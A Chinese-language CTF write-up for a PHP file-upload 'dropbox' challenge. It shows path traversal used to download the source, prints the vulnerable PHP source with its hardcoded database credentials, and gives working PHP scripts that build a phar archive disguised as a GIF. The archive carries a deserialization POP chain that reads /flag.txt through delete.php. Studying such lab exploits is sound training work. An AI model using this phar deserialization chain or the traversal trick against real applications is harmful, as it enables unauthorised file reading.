TRY
首先上传和删除文件抓包,可以发现upload.php和delete.php,只允许上传gif png jpg后缀的文件。但是上传的文件并没有办法访问,不过可以下载,抓包发现下载的时候请求体是文件名,尝试能不能通过路径穿越获取源码,成功了。试试直接读取flag,肯定是失败的。
通过…/…/穿越到工作目录然后下载所有源码。
upload.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
include "class.php";
if (isset($_FILES["file"])) {
$filename = $_FILES["file"]["name"];
$pos = strrpos($filename, ".");
if ($pos !== false) {
$filename = substr($filename, 0, $pos);
}
$fileext = ".gif";
switch ($_FILES["file"]["type"]) {
case 'image/gif':
$fileext = ".gif";
break;
case 'image/jpeg':
$fileext = ".jpg";
break;
case 'image/png':
$fileext = ".png";
break;
default:
$response = array("success" => false, "error" => "Only gif/jpg/png allowed");
Header("Content-type: application/json");
echo json_encode($response);
die();
}
if (strlen($filename) < 40 && strlen($filename) !== 0) {
$dst = $_SESSION['sandbox'] . $filename . $fileext;
move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
$response = array("success" => true, "error" => "");
Header("Content-type: application/json");
echo json_encode($response);
} else {
$response = array("success" => false, "error" => "Invaild filename");
Header("Content-type: application/json");
echo json_encode($response);
}
}
?>
上传的文件位置$_SESSION[‘sandbox’] . $filename . f i l e e x t ,利用 fileext,利用 fileext,利用_FILES[“file”][“type”]过滤文件类型并修改后缀名。
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
有很多魔术方法,明显能构造pop链。感觉是在下载文件时利用phar协议触发反序列化。
WP

看来不是所有上传文件名的地方都能利用phar协议进行反序列化,能触发反序列化的函数是有限的。
在class.php中能找到open()方法有file_exists函数,delete()方法有unlink函数,close()有file_get_contents函数。在delete.php中能看到使用了$file->detele(),并且其文件名也是我们上传的,可以使用phar协议。
现在的思路就是构造pop链放入phar文件中,绕过类型过滤(phar文件靠文件内容识别不靠后缀名)然后上传,并且拿到上传位置,再使用phar协议请求delete.php触发反序列化,拿到flag。
payload:
<?php
class User {
public $db;
// public function __destruct() {
// $this->db->close();
// }
}
class FileList {
public $files;
// private $results;
// private $funcs;
// public function __call($func, $args) {
// array_push($this->funcs, $func);
// foreach ($this->files as $file) {
// $this->results[$file->name()][$func] = $file->$func();
// }
// }
// public function __destruct() {
// $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
// $table .= '<thead><tr>';
// foreach ($this->funcs as $func) {
// $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
// }
// $table .= '<th scope="col" class="text-center">Opt</th>';
// $table .= '</thead><tbody>';
// foreach ($this->results as $filename => $result) {
// $table .= '<tr>';
// foreach ($result as $func => $value) {
// $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
// }
// $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
// $table .= '</tr>';
// }
// echo $table;
// }
}
class File {
public $filename = "/flag.txt";
// public function close() {
// return file_get_contents($this->filename);
// }
}
$a = new File();
$b = new FileList();
$c = new User();
$c->db = $b;
$b->files = array($a); //将变量 $a 作为元素放入一个新数组中,然后将这个数组赋值给对象 $b 的 files 属性。
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
文件上传位置为SESSION[‘sandbox’]内,定义在login.php中,但是这里其实并不用计算,因为读取文件的当前位置就是上传的位置,所以直接用phar://phar.jpg就可以
尝试一下是出错了,原因在于我构造payload时为了方便赋值将FileList中的$files变量属性由private改为了public,这是绝对不允许的,因为反序列化的过程中识别变量时是通过变量名加属性。这会导致攻击链失效。
既然不能改属性,那如何赋值private变量为我们构造的对象呢?利用__construct方法!
<?php
class User {
public $db;
}
class FileList {
private $files;
public function __construct() {
$this->files = array(new File());
}
}
class File {
public $filename = "/flag.txt";
}
$a = new File();
$b = new FileList();
$c = new User();
$c->db = $b;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
Conclusion
首先通过文件下载功能获得源码,应该是服务端对文件名的解析没有禁止掉目录穿越。然后是phar反序列化结合文件上传,改正了一个错误,不能修改属性名(非特殊情况),可以利用__construct方法对private变量赋值为对象构造pop链。